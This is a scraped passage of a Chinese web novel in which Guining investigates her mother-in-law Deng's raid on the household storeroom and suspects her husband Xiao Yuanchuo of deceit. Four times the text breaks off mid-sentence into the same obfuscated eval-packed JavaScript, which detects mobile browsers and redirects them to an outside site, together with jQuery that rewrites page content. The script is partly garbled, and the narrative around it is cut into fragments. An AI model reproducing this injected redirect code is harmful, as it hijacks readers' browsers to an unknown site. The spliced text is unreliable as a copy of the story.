见归宁婉拒了太太的请求，姜妈妈噗通一声跪下，泣声道：“奴婢实在舍不得太太，还请夫人时刻记得奴婢，接奴婢回来瞧瞧太太。” 归宁派人去接，确实能讨好邓氏，却无端给赵太太说嘴的机会，让自己里外受气，对着邓氏娇笑道：“母亲瞧瞧，若是哪日我忘了去接她，她还以为是我故意不让母亲见她呢。” 玩笑过后正色道：“母亲若是想姜妈妈了，可随时打发人去接她。就怕我一时忙忘了，误了母亲的事。还有姜妈妈这一走，母亲的院子里确实空了不少。不如把谭嬷嬷接回来，管母亲院子里的事，都是府里的老人，管着底下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541653|171000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人也顺手，也让母亲省省心，安心享福。” 谭嬷嬷原是归宁的外祖母在时，在邓氏院子里伺候的，外祖母刚刚过世，邓氏就借院子里丢了东西，将谭嬷嬷送走了，如今谭嬷嬷在京郊管庄子。 邓氏笑道：“谭嬷嬷年纪大了，何苦再让她操劳。你还是快些养好身子，给我们萧家生个大胖小子要紧，让母亲也过过含饴弄孙的快活日子。” 归宁被邓氏逗得面皮紫涨，但笑不语。 邓氏探出归宁不愿意插手姜妈妈的事，还要严查府中的账目与库房，多说无益，便问了几句归宁的伤势。 婆媳二人又说了会子话，临告别前，归宁将一个红蓝宝石镶嵌手镯赏给了姜妈妈，“这是我娘亲从海外商人那里买来的，咱这里没有这种货色，留给姜妈妈做个纪念吧。” 姜妈妈从南烟手里接过东西，朝着归宁道了谢，跟着邓氏离开了孤芳苑。 转眼时间到了正午，丫头翠夏刚摆好了饭，就见萧元绰带着一身寒意，踏进了孤芳苑。 他脱下身上的大氅，丢给一旁的南烟，香冬打了水，服侍他净手。萧元绰看了一眼饭桌上摆的吃食，道：“她怎么样了？” 周嬷嬷上前道：“就是身上疼，坐卧都不得宜。” 萧元绰道：“医女大概下午到，我一会儿还要去衙门，嬷嬷你记得去迎一下。” 言罢，挑帘进屋。 归宁歪在暖阁的炕上，身边摆了不少账册，见他来，准备起身迎一迎，被萧元绰一把按了下去，“我就回来瞧一眼，马上就走。” 看到这些账本，也说了和邓氏类似的话。归宁也将原委说了，萧元绰刚刚回来，也急于掌控府中的事物，很支持归宁的想法。借机严查，让他摸清底细，对他有好处。 邓氏拿萧家的钱贴补邓家，这触动了萧元绰的逆鳞，在他眼里，萧家是萧家，邓家是邓家。他打心眼里不想和在锦衣卫里任职的堂兄走的太近。 本朝文官清流一派，哪个瞧得起锦衣卫那帮走狗的？ 归宁见他顶着寒风来来去去，拉着他温凉的手道：“夫君吃了饭再去吧。” 萧元绰淡淡一笑，俯首贴近她耳根道：“心疼我了？” 自昨晚一别，他夙夜难寐，只想和她多待一会儿。 萧元绰在屋里和归宁说笑了一会儿，出来匆匆扒拉了一碗饭，又去衙门了。 无论前世还是今生，在归宁眼里，他都是一个为国为民的好官。只不过少了些气运，若是舅舅和外祖母能多活几年，以他的能耐，加上家族的支撑，结束翰林院的进修后，一定能在留在翰林任职。距离皇上和内阁学士更近，未来官运也会更加亨通。 天不假年，萧家连遭变故，阻碍了他的仕途。 萧元绰甚是重视自己的官声和名誉，绝对不会让任何人抓住他私德有亏的把柄。有些人是面目狰狞的恶，而有些是衣冠楚楚的伪善，能将自己伪装的无懈可击。 而归宁，就是要一点点拆穿这些伪装，将这世道看的真真切切明明白白。 18. 邓氏 归宁原本想让周嬷嬷带着东西去见母亲，可他却安排周嬷嬷去迎医女，若是周嬷嬷不在，他事后问起，归宁还要周旋几句。若是让他发现些端倪，并起了疑，归宁恐怕会引火烧身。 萧元绰和邓氏能用这么温和的方法对付她，完全是顾忌自己的名声，若是他们发现她随时有可能拆穿他们的伪装。他们索性就不会装了，直接露出凶狠的獠牙，快刀斩乱麻，这是归宁和母亲难以承受的报复。 可归宁必须将萧元绰伪装的真情尽快打碎，她需要这个机会，这样她才能说服母亲。萧元绰自幼在外祖母跟前养大，和母亲很亲，归宁手上若没有证据，空口白牙，母亲也会怪她胡闹。 思来想去，归宁喊来唐妈妈，让她去一趟。唐妈妈本就是母亲为她选的陪嫁，虽没有周嬷嬷周到，但不会出卖她。 交代好这些，归宁安心地睡了个中觉。迷迷糊糊中被南烟唤醒，“夫人，夫人，医女来了。” 医女在走来的路上就已听见下人们暗中嚼舌根，说夫人伤得很重，都是强撑着等语，进了屋给归宁看病愈发小心谨慎。 医女的手压在归宁肋下，归宁忍不住“嘶……”地吸了口凉气。医女仔细地检查了一圈，虽外伤并不明显，还是十分谨慎道：“恐怕夫人伤了脏腑，需要细心调养一段时日，切勿频繁挪动，更不可跌倒。” 周嬷嬷看了一眼躺在床上的人，蹙着眉道：“可我家夫人躺久了腰酸背疼，更难受。” 医女道：“偶尔坐起来或者走几步也是可以的，万不可跑跳。” 无需整日卧床就可装病，对归宁就是一个极好的消息，周嬷嬷忙致谢道：“谨遵娘子吩咐。” 医女不敢随意开药，只是留了一些外用的红花油，缓解挫伤。周嬷嬷送别医女，转头撞见唐妈妈从府外归来，脸色十分的难看。 两人一起进了垂花门，唐妈妈脚步飞快，把年纪大些的周嬷嬷直接甩了一大截，周嬷嬷紧走几步，心里不由嘀咕：也是生了孩子的人，性子还是这么火爆。 当初派南烟去也比这倔驴好。 两人一前一后进了归宁的屋子，翠夏和碧桃两个丫头正在外间翻花绳玩儿，南烟在内屋算账，唐妈妈一进屋，就将翠夏和碧桃遣下去了。 唐妈妈主要管归宁陪嫁的庄子和房产，宋家钱多人少，母亲几乎将一半家财给了归宁做陪嫁，嫁妆颇丰。 归宁乃伯爵府的夫人，不能明里经营买卖，母亲就在京师正通钱庄以归宁的名义存了大笔的银钱，只有拿着归宁的印信和票据去，才能支取。 除此，还在京师、应天和苏州繁华地段买了不少房产铺面，用于收租，再有就是京郊的田庄和别院等地产。 母亲特意选了唐妈妈和她家男人做陪嫁，帮归宁打理产业。唐妈妈有两个哥哥，在母亲身边帮忙管铺子，知根知底。 每月初一，唐妈妈准时进归宁的屋子里送钱。主子一高兴，也会恩赏底下这些丫头婆子。 今日不是初一，丫头们以为唐妈妈是有外面的事和夫人说，都识趣地下去了。 唐妈妈进屋见南烟也在，犹豫要不要也让她出去，归宁开了口：“都是自己人，妈妈说吧。” 唐妈妈将帕子里的东西一摊，气愤道：“娘子说这一定是邓氏捣的鬼。” 归宁一愣，母亲还是选择相信萧元绰，认为这和他无关？ 唐妈妈是个急脾气，倒豆子似的将经过说了，“我和娘子去寻了个郎中，那郎中说这膏子里藏有大量麝香，长期佩戴，不宜生养。娘子听了也十分震惊，她说，大爷一定是被蒙在鼓里，这极有可能是邓氏暗中做的。” “娘子说，老太太当年根本不同意老伯爷娶邓氏为妻，老伯爷为此和老太太大闹了一顿，以绝食相逼。一连五天滴米未进，眼见就要撑不过去了，老太太才松口。” “邓氏是老伯爷未过继前就结识的一位姑娘，两家之前住得近，私下有些往来。谁知道十多年过去了，老伯爷还对邓氏念念不忘，甚至暗中通了款曲。邓氏嫁给老伯爷之前，就已经有了一个多月的身孕。” “老太太看不上邓氏这等轻浮之人，更瞧不上邓氏的伯父靠着捐官进了锦衣卫，觉得这样人家会辱没萧家门楣。就是想拖一拖，拖到邓氏等不起了，自己打掉孩子。” 唐妈妈一副壮士扼腕的模样，“可老伯爷倔呀，以死相逼，老太太这才不得不让步。进门七个月后，邓氏早产生下了大姑奶奶。” 归宁之前曾听母亲感叹，舅舅毕竟不是外祖母亲生，两人曾为一件事险些闹得母子失和，说的大概就是这件事吧。 唐妈妈的话证实了归宁的猜测：“娘子说，经此一事，老太太对老伯爷万分失望，一心要为娘子选一门靠得住的亲事。” 外祖母相中宋家，大抵也是觉得舅舅靠不住，才让母亲低嫁。即便后来她去了，祖上是商贾之家的宋家，也不敢欺负伯爵府的姑娘。 再者父亲又是一个重情重义之人，不大会做出那等禽兽之事。 唐妈妈继续道：“邓氏生了个姑娘，老太太担心养在这样的娘亲身边会把孩子带坏，要带在身边教养。邓氏三天两头找老伯爷去哭，老太太只能把孩子送了回来。后来邓氏又有了哥儿，整个人变得荣光满面。” “姐儿养在邓氏身边倒也罢了，若是把哥儿养坏了，萧家就没了希望。老太太为了萧家，和老伯爷畅谈了一番，说了不少重话，听娘子说好像把皇帝当年特许老太太过继子嗣的话都说了，什么‘若其不争，不孝嫡母，不尊族长，朕也会替你主持公道’等。” “老伯爷惧怕皇帝降罚，亲自把哥儿抱到老太太的院子里，交给老太太抚养。也不知道老伯爷给太太说了什么，邓氏一夜间就看开了，也不闹，乖乖地每日去给老太太请安，悄悄地看哥儿几眼。” “又过了几年，邓氏年老色驰，后院陆续有了两个姨娘。娘子说老伯爷还养过一个外室，还有了身孕。老太太把老伯爷叫过去好生骂了一顿，刚要做主将人接到府里来，不知道那院子怎么突然走了水，闹了个一尸两命。” 屋内所有人都因吃惊屏住了呼吸，包括归宁，屋子里安静地落针可闻。她自幼在外祖母身边长大，可从来没听说过这些。按理说，这根本算不上什么秘密，底下的下人知道的不在少数，可除了母亲，其他人似乎根本连提都不敢提。 这又是为何？ 这些疑问，唐妈妈自然也有，已经替她们问过了娘子。在一众诧异的凝视中，喝了一口茶， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541654|171000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 润了润嗓子才继续道：“老太太是个嘴硬心软的人。” “娶了邓氏这样的儿媳，再不喜欢，也要帮她撑住场子。要不以后姐儿怎么议亲，哥儿还怎么入仕做官？老伯爷的面子又往哪儿搁？” “所以把老伯爷当年绝食还有邓氏未婚先孕的事，通通压了下来。甚至那个外室的娘家人，也是老太太派人安置的。” 说到此处，唐妈妈压低嗓音道：“娘子猜测，是邓家派人放的火。那件事之后，老伯爷很少去邓氏的院子了，府里的两位姨娘才陆续有了身孕。” 那时，归宁丧父，被外祖母接在身边教养，母亲住在倚梅园，肯定是在外面探听了些消息。 有这样的儿媳，归宁更加心疼外祖母的不易，遂道：“外室的事，也是外祖母压下来的？” 唐妈妈长叹道：“那还有谁？娘子说邓氏在老太太面前端得是柔顺温驯，也从不插手管家。老太太当她是个柔弱的，自然事事想在前头。” “娘子说定然是邓氏要报复老太太，才要暗算姑娘。” 娶归宁为妻，是老太太一力撮合的，邓氏本身并不欢喜，可也无可奈何，这一点归宁自己也清楚。所以成亲后，想方设法的弥补邓氏。邓氏也表现的和和气气，从不摆婆婆的谱。她以为她会像外祖母那样，虽经历过不快，也能从心底里承认她这个儿媳。 听了这些过往，归宁更加确认，邓氏绝非表面这般良善，至于萧元绰，归宁不相信他的无辜，沉吟道：“夫君为人向来心细，我不相信婆婆能在他眼皮子地下玩儿这些花招。你帮我去给母亲传个话，让她来探望我。我找个机会试试夫君。” 南烟静静地听完，也附和道：“有件事情我一直奇怪，今日听了，说出来大家也参详参详？” 唐妈妈闻言催促道：“你快说。”她最是受不了别人卖关子。 南烟理了理思绪道：“我舅舅一直在暗中查访当年害了母亲的水贼，听说那日有一艘装满货物的商船同母亲的船一起到了那边。那些水贼很奇怪，他们第一时间不是抢那艘商船，而是去劫母亲坐的那艘小船。船上并没有多少值钱的东西，就是应天一些土特产，带回来给各家分的。” “一年前，有两个水匪落了网，舅舅还亲自跑了一趟。提起那天的事，这两个水匪都不承认。他们说那段时间水上确实出现过两个口音听起来不像当地的人，可能是北边来的水匪，后来又消失了。” “舅舅一直觉得母亲的死很蹊跷。” 本来这种无根无萍的胡乱猜测南烟是不敢对主子说的，只是昨天舅舅险些被人暗算，今日又听了太太的一些过往，甚至将大爷也牵扯了进来，她才鼓起勇气说了出来。 一些隐秘的暗线一条条被挖掘出来，归宁隐约觉得这里面应该藏着一个巨大的秘密，一个让萧元绰恨毒了她的秘密，“夫君在应天守孝期间，可能发生了一些事。” 周嬷嬷素来谨慎，见天色已晚，打断道：“大爷快回来了，这事儿还是等明日娘子来了再说吧。” 唐妈妈是个心直口快的人，怕自己憋不住，起身道：“奴婢先行退下了。” 归宁生怕她这急性子说出什么不当的话来，道：“唐妈妈这几日先在母亲身边当差吧。” 19. 审人 屋内人散尽，归宁继续卧床休养，南烟心不在焉地查看秦管事送来的账册。这些都要交到大爷和太太手上，她真怕舅舅那边出些纰漏。 大概过了小半个时辰，就听外间有小丫头通报：“大爷来了。” 周嬷嬷率先迎了出去，将今日医女的嘱托一一说了。萧元绰将狐裘大氅扔给一旁的丫头，净了手，进屋探望归宁。 归宁半坐在床头，笑着唤了一声夫君。 萧元绰身上还带着些微寒气，搓了搓手，坐在归宁身侧，抚平她鬓间的几缕碎发，眼中如淬了星光，柔声道：“大夫说你能动，下来陪我用个饭吧。” 归宁若是不应，他能腻在旁边说许久的话，想了想还是嗯了一声。 萧元绰大喜，抄起她的膝盖弯，就将她抱了起来，“别乱动，我抱你出去。” 轻轻地将她放在四方桌的太师椅上，二人并排而坐。翠夏和碧桃布菜，先盛了一碗鱼汤给萧元绰，萧元绰推到归宁跟前，第二碗才留在自己面前。 两人平静地用了饭，用茶水漱了口，萧元绰复又将归宁抱回内屋，将她放在拔步床上。 归宁指了指一旁的账本道：“这些我都看了，没发现什么纰漏，夫君和母亲也看看吧。” 萧元绰忙了一天公务，回府还要处理这些内务，有些厌烦。可库房又不能不清点，吴明的差事总要有人顶上来。 归宁将写了三个人名的纸递了过来，“这是我觉得合适的几个人，都是家生的仆人，知根知底，夫君瞧瞧。” 只有一个是当年老太太陪嫁下人的儿子，剩下两个都是原萧家的仆人，既不是邓氏带来的，也不是她带来的，其中一个还是服侍过老伯爷的人。 年纪都比吴明大十几岁，更偏稳重。 萧元绰看了一眼，道：“我得去查一查库房。” 归宁见他疲惫异常，关切道：“不如我陪夫君去，我就坐在旁边对单子，不乱动。” 萧元绰很清楚母亲的性情，府中庶务还是要交到归宁手上他才能安心。他一心要在官场上有所建树，不想被庶务缠身。静默几息道：“也好。让婆子抬着你过去。” 归宁道：“要不要和母亲招呼一声？” 萧元绰恼怒于邓氏擅自挪动公中的钱，拒绝道：“天色已晚，就让母亲好好歇着吧。” 脸色柔和了几分，刮了刮归宁小巧的鼻尖，笑融眼底：“你陪着我就好。” 今日见到杨阁老，和他这位后生说了不少的话，让他倍感受用，他今天心情大好。 又喝了一盏茶，萧元绰才缓缓起身，“我先过去，你慢点儿来。晚上天冷，多穿一些。” 这厢萧元绰刚走，那边南烟已经打发人去喊婆子们抬软轿过来。 归宁披上雪青色狐裘斗篷，抱着手炉，在南烟等人的搀扶下，袅袅娉婷的出了门，账本也一并放在了小轿内。 周嬷嬷年纪大了，随行的是南烟和香冬，一行人慢悠悠地到了库房。 南烟将账册交给萧元绰的贴身小厮文轩，让他送回大爷的书房，才搀着归宁进了库房。 吴明和府中的其他几个管事都在，外边还有十几个小厮。其实白天萧元绰已经命人开始清点库房，晚间一到，发现少了很多东西，这又带人来盘查。 归宁坐在一旁的耳房内，粗略瞥了一眼库房清单，发现外祖母在时的很多名贵药材、摆设、绸缎及皮料都打着叉。 最显眼的是有一支千年人参没有了，那是父亲送给外祖母五十五寿诞的贺礼。外祖母生前只用了一点，应该还有很多。当时外祖母病重，还是她来库房取的，所以记忆异常清晰。 至于其他摆设、布料等，因萧家老太太过世，阖府上下均要守孝，一切从繁就简，不可歌舞笙箫娱乐宴请，不可穿红戴绿鲜艳华贵。库房里的这些名贵的布料和摆设也都用不上。 再有归宁嫁妆丰厚，不会惦记公中的东西。库房一直是邓氏的人管，她虽会派人时不时来取东西，但是丢失的这些贵重物件都放在上锁的箱子里，另有钥匙，不是一般人想拿就能拿走的。 看着这份被画得乱糟糟的清单，归宁不由冷笑，原来这就是亏空的来源。吴明定是拿了库房里的东西去变卖，秦管事出事之后，又将银子支出去将东西采买回来，把做好的假账替代秦管事的真账，将所有的坏事都甩到秦管事一人头上。 当年庆宴上出了这么大的丑事，归宁甚是紧张自责，赶走秦管事之后就病了一场。过了几日才养好精神，慢慢梳理这些东西，足够吴明和邓氏做手脚了。 她很难窥探当时萧元绰都做了什么，但今时今日，她有机会看清楚他面对这些的真实反应。 吴明拒不承认自己监守自盗，一直说冤枉，信口胡沁说：“一定是府里进了贼，或者有人偷了小的的钥匙，进来偷东西。” 他是库房的管事，此等拙劣的借口只能是火上浇油，萧元绰命人将吴明绑起来打。 众小厮得了主子的令，也不管他是谁的人，架起来按倒在长板凳上，就下板子。 三板子下去，吴明的哀嚎声传遍了整个院子。 正在这时，一声焦急的呼喊打断了这里的混乱，“住手……住手……” 原是邓氏听到了这里的动静，带着身边的丫头赶过来了，中途走得急，可能还跌了一跤，走路有些跌跌撞撞，全然不似平日的持重。 见她来，萧元绰躬身抱拳，唤了一声，“母亲！出了什么大事，劳烦母亲漏夜前来？” 邓氏张了张嘴，刚要说话，见南烟搀着行动不便的归宁从耳房里走了出来，站在漆黑夜色中，福身也唤了一句，“母亲！” 邓氏脸上的怒气瞬间敛尽，换上一副温和笑颜，上前对归宁道：“身子都没好呢，怎么又乱动了？” “刁奴欺主，是该好好处置。吴明是我从娘家带来的，当初也是看在我的面子上让他管库房。今日出了这样的事，我也难辞其咎。你还病着，这件事就交给母亲和绰儿处置吧，大冷天的，别冻坏了。” “是母亲考虑不周，让你们为难了。等母亲把这事理顺了，再交到你手上。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541655|171000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 邓氏真的像极一个慈善温柔的母亲，字字句句都是替儿女们考虑，甚至不惜拉踩自己，也要给归宁这个儿媳妇极大的脸面。 若是强势的婆婆，仗着自己的辈分，可能上来就会对儿媳编排一顿，怪她撺掇丈夫忤逆婆母，这样的指摘，作为晚辈也只能受着。 萧家旁支的一个姑娘，嫁给了五城兵马司指挥使，因长相出挑，在街上采买胭脂水粉时，被骑马而过的郎君一眼相中，很快上门求娶。 因家中没落，父亲是个举人，任小京官，有职无权；哥哥考了多年只是个秀才。这门亲事无疑是高嫁，娘家贴补了不少嫁妆。 刚成亲时，那姑娘的母亲逢人便炫耀自己女儿的好亲事，可仅仅两年之后，就唉声叹气起来，当初那神气劲儿被一股浓浓的愁云掩盖。 那家婆婆是个厉害泼辣的性子，想方设法的霸占儿媳妇的嫁妆。她家男人事务繁忙，一个月竟有一半时间不在家。好不容易赶上男人在家休沐，她委屈巴巴的说起了一副头面的事。 那是出嫁时，她母亲花了不少钱为她打制的嫁妆，也没戴几回，就让婆婆拿去给小姑子当及笄礼了。 男人自然是好面子，带着她去和母亲理论。那婆婆二话不说，上来就给她一个大耳光，骂她撺掇男人，忤逆婆母，不忠不孝，合该被休出家门。 都是萧家的姑娘，和弘文伯府走动频繁些，这事儿母亲和邓氏都有所耳闻。归宁出嫁前，母亲为她准备嫁妆时，还当着外祖母和邓氏的面说了这事。 外祖母自不必说，邓氏笑道：“咱们可不是那等上不了台面的人家，阿宁若是嫁过来，我一定把她当亲闺女看待。” 母亲犹不放心，拉着外祖母的手，近乎哀求道：“母亲，阿宁也是您亲外孙女，可别让她受了委屈。” 邓氏的确没有违背当年的许诺，对儿媳的好，满京师皆知。 面对今日邓氏的温言细语，归宁也很识趣地道：“是儿媳管家不严，让母亲操心了。” 邓氏转向萧元绰，面色严厉起来，“绰儿，还不快送你媳妇儿回去，在这里吹什么冷风，再冻坏了，让我怎么向你姑母交代。” 归宁明白，邓氏这是要支开她，抬眼隔着茫茫夜色，看向萧元绰。恰萧元绰也撇头看过来，瞧见归宁站在冷风中的纤细身影，微微一叹，道：“今晚恐怕要查到很晚，你先回去歇了吧。等查清了，我让秦管事去给你说。” 归宁顺从的应了一句，“好，夫君也别太操劳了。” 几人话罢，婆子抬着软轿，将归宁送回了孤芳苑。眼见她的人已经走远，邓氏忙命人将吴明放下来，并吩咐其他小厮去院外候着，自己和萧元绰两人一前一后进了库房。 库房门应声而闭，桌上的银釭照亮邓氏冷寒的脸庞，只听她压着怒火道：“绰儿，你知不知道你在做什么？” 萧元绰面色也是冷沉至极，话语冰寒，“母亲做的事，还要旁人帮你遮丑？” 天大的委屈涌上邓氏心头，倏得红了眼圈，捶着自己的胸口道：“我是为了谁呀？我是为了谁！” 20. 修簪 萧元绰不为所动，“母亲拿萧家贴补邓家，还要质问孩儿，是为了谁？不觉得好笑吗？” 邓氏气得身体发颤，果真不是在她身边养大的孩子，远没有女儿贴心，“我是为了邓家吗？我做这一切还不都是为你了！有一把锋利的刀握在手上帮你挡下那牛鬼蛇神，你现在反倒嫌弃这沾了血的刀腥了？锦衣卫是皇上的亲卫，那些文官清流再瞧不上他们，到了他们手上一样低三下四卑躬屈膝。” “脏的臭的烂事，邓家都帮你抹平了，你现在倒是嫌弃起邓家来了。怎么，娶了娇妻就忘了你老娘？” 见萧元绰面庞冷峻，既不反驳也不承认，邓氏急忙安抚道：“儿呀，母亲保证绝不会有下次了。邓家是遇到些麻烦，咱们有能力就帮一帮，今天这事你就网开一面吧。” 老太太在世时，根本轮不到她置喙家中庶务。儿媳妇管家之后，不好对她这个婆母处处限制，她才有了些机会。 邓家是她的娘家，又为他们母子做了那么多事，她必须要护住邓家。 见母亲态度和缓，萧元绰的脸色也柔和了几分，他今日如此行事，自然有他的目的。 “母亲，今日之事是逃不过阿宁的眼睛的。既然查了银库的账目，没有理由不查库房。后续有人要顶替吴明的差事，这事是瞒不住的。既如此，不如大大方方的让她知道，这样她才不会对我生出疑心来。” “阿宁已经嫁我，自然会为萧家着想，以后母亲莫要再做这些让我为难的事了。” 邓氏松了一口气，道：“你放心。” 萧元绰又道：“我手上还有些私产，我可以将这些变卖，将亏空补上，不过这需要时间。吴明监守自盗，断然不能留了。” 这次亏空的数额不小，且吴明算计乐巧不成，反到连累了萧元荷，若他出去乱说，会惹来无尽的麻烦，邓氏道：“吴明任你处置，姜妈妈我也会送去庄子上，此事到此为止，不可再牵扯出其他人了。” 好不容易等到母子二人推心置腹的谈完，战战兢兢立在寒风中的吴明，听到库门开启的声音，立刻抬头用乞求的眼光忘了过去，等待太夫人邓氏的赦免。 谁知，邓氏走到近前怒斥了一声，“大明啊，你也太大胆了！”吴明乃家中长子，大明是他小名。 吴明刚要争辩两句，萧元绰立刻对小厮命令道：“堵上他的嘴，给我打，看是他的嘴硬，还是板子硬。” 吴明犹在挣扎，“不是我，太夫人救我……” 众人上前三下五除二，将吴明按在板凳上，板子噼啪落下，才不过六七下，人就晕了过去。 萧元绰命人将吴明绑好，送去自己书房旁边的小屋。 翌日一早，府中就传来了，吴明好赌成性，偷偷将库房里的东西拿出去变卖，被主子发现，已经被送去了官府。 秦管事来给归宁回话，“初查，缺失物品折银两万两。” 归宁黯然一叹，“一千亩地至少也要一万两吧？” 秦管事有些心虚道：“不止，地块肥沃，可引河水浇灌，要十五两一亩。” 外祖母苦心经营留下的家业，竟被这样挥霍，归宁喉咙里似堵了一团棉花，有些喘不上气来，“行，我知道了。地的事，让夫君处置吧。” 虽是外祖母的心血，可萧家的东西，她一分也带不走。按法理，萧元绰是萧府唯一的继承人，她没有权力置喙。 只是她很好奇，邓家要这么多钱做什么？难道，他们缺钱？ 思及此，归宁让唐妈妈来见，“妈妈，你让熟悉的生意人去打探打探，邓家这几年有没有借债或者抵押了什么东西。” 萧元绰还是向着自己的母亲，将一切罪责都推给了吴明。而且还大大方方地将吴明送官查办，这让归宁从吴明那里套话的机会都没有。 不过想起母亲一会儿能陪她来用中饭，心里就止不住的高兴。 邓氏与萧元绰也听了母亲来探望归宁的消息，母亲刚到孤芳苑，才和归宁说了两句话，邓氏就在丫头的搀扶下到了。 萧元绰中午从衙门里告了假，特意赶回来，陪她们吃这顿家宴。 一家人有说有笑，归宁对吴明之事闭口不提，这让邓氏心里松了一口气。 萧元绰对这位姑母也很敬重，毕竟是弘文伯府养大的姑娘，又嫁给一位颇有才干的年轻进士为妻，如今独自撑起宋家，见识远在邓氏之上，稍稍点拨，就能让他受益匪浅。 正值热闹之际，宋娘子突然拿出那只累丝嵌宝石金凤簪，很是内疚道：“青然呀，这簪子你是从哪儿买的？实在是对不住，姑母今天一时手滑，把这簪子摔了，你看凤头这个地方有些歪，你给我说哪里的师傅做的，我让人拿去修补。” 萧元绰面色一窒，浅浅一笑道：“这事儿就不麻烦姑母了，还是我拿去吧。” 宋娘子见他要来拿，忙将帕子一裹，护在手里，“你公务繁忙，怎能劳烦你？是姑母手滑，还是我去吧。” 归宁亦笑道，“夫君，还是让母亲去吧。修补还要花不少钱，万一修补不好，定要母亲赔我一个新的才行。让母亲去！” 旋即对一旁的母亲笑道：“夫君刚送我，母亲就给摔坏了，怎么也要赔。” 宋娘子宠溺道：“赔，自然赔。不如你陪我去修，顺道四处逛逛，看上哪个，母亲立刻买给你。” 邓氏忙给宋娘子夹菜，笑道：“还是让绰儿去吧，既然是绰儿送给阿宁的礼物，就要有始有终，怎可假他人之手？” 宋娘子面色不悦，“嫂子，我几时成了外人了？” 邓氏连忙陪笑道：“呦，瞧我这张嘴。我哪里是那个意思？阿宁，你说说，我这个婆母兼舅母何时拿你们当外人了？” 归宁笑道：“自是没有的。所以夫君今日也别和母亲客气，让母亲拿去修补好了，再送我一件首饰补偿，送夫君一盆张先生的盆景。” 宋娘子被逗得咯咯笑起来，“张先生的盆景，千金难求。真是嫁出去的女儿泼出去的水，这么向着你夫君。” 萧元绰脸上的笑容有些挂不住，坚持道：“阿宁受伤，是我没护好她。修簪子这点小事，还是我去吧。” 宋娘子道，“青然是生我气了？连个弥补的机会都不给？” 萧元绰忙站起来给她斟酒，“您是我姑母，也是我岳母，于情于理，晚辈都不该劳烦您。” 邓氏在一旁帮腔：“是呀，洛甄，你是长辈，还是让绰儿去吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541656|171000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 宋娘子也是个执拗的人，摆手示意萧元绰坐好，“坐下，坐下。就是修个簪子，不是什么大事，咱们一家人别为这点儿小事儿生分了。” “吃菜，吃菜！” 话题虽是岔过去了，可归宁能明显感觉萧元绰的心不在焉，中途还掉了一次筷子。 众人饭罢，转去更暖和的内屋休息。周嬷嬷给泡了萧元绰从苏州带回来的碧螺春。 宋娘子尝了一口，黯然一叹，“这茶配上苏州的泉水，才是一绝。”京师才算她的家，可她总把自己当苏州人。 归宁喝了两口，“苏州的泉水我是没口福了，不过下个月明渊寺有法会，那里的山泉水泡茶也极好。” 宋娘子点了点归宁的额头，“大夫都说了，让你静养，别总想往外跑，早日养好身子，给青然生个孩子要紧。” 话罢，拿眼角的余光去瞥萧元绰，见他抿嘴笑了笑，耳根通红，双手略略不安地抓紧衣襟，清咳了一声，“等阿宁身子好了，我带她去拜菩萨。” 几人又说笑了几句，宋娘子见天色渐晚，起身告辞，临走前叮嘱归宁道：“好生养着，过几日等娘把那簪子修好了，再来看你。” 归宁要起身送别，被邓氏与宋娘子齐齐伸手按了下去。邓氏笑道：“你歇着，我去送送小妹。” 宋娘子刚要走，却发现那方包着累丝嵌宝石金凤簪的绢帕不见了，她明明就放在手边了呀。 正待宋娘子一脸焦急，转着圈儿四处寻找之际，归宁掩唇笑道：“娘，别找了。” 话讫，眼睛的余光瞟向萧元绰，娇声唤了句，“夫君……” 萧元绰见她笑靥娇媚，不由唇角微扬，“这点小事，姑母就别操心了。”原是他趁宋娘子不注意，将包着金凤簪的帕子拿了过来。 宋娘子叹了一声，不再与晚辈争执：“那好，你们小夫妻好好说会儿话，我们两个出去透透气。” 邓氏陪着宋娘子往外走，热忱的留客：“洛甄还是别走了，我这就让人将你之前住的院子收拾收拾，多住几日。” 宋娘子笑着摆了摆手，见萧元绰也出来相送，忙把人往屋里赶，“不用你送，快回去快回去。” 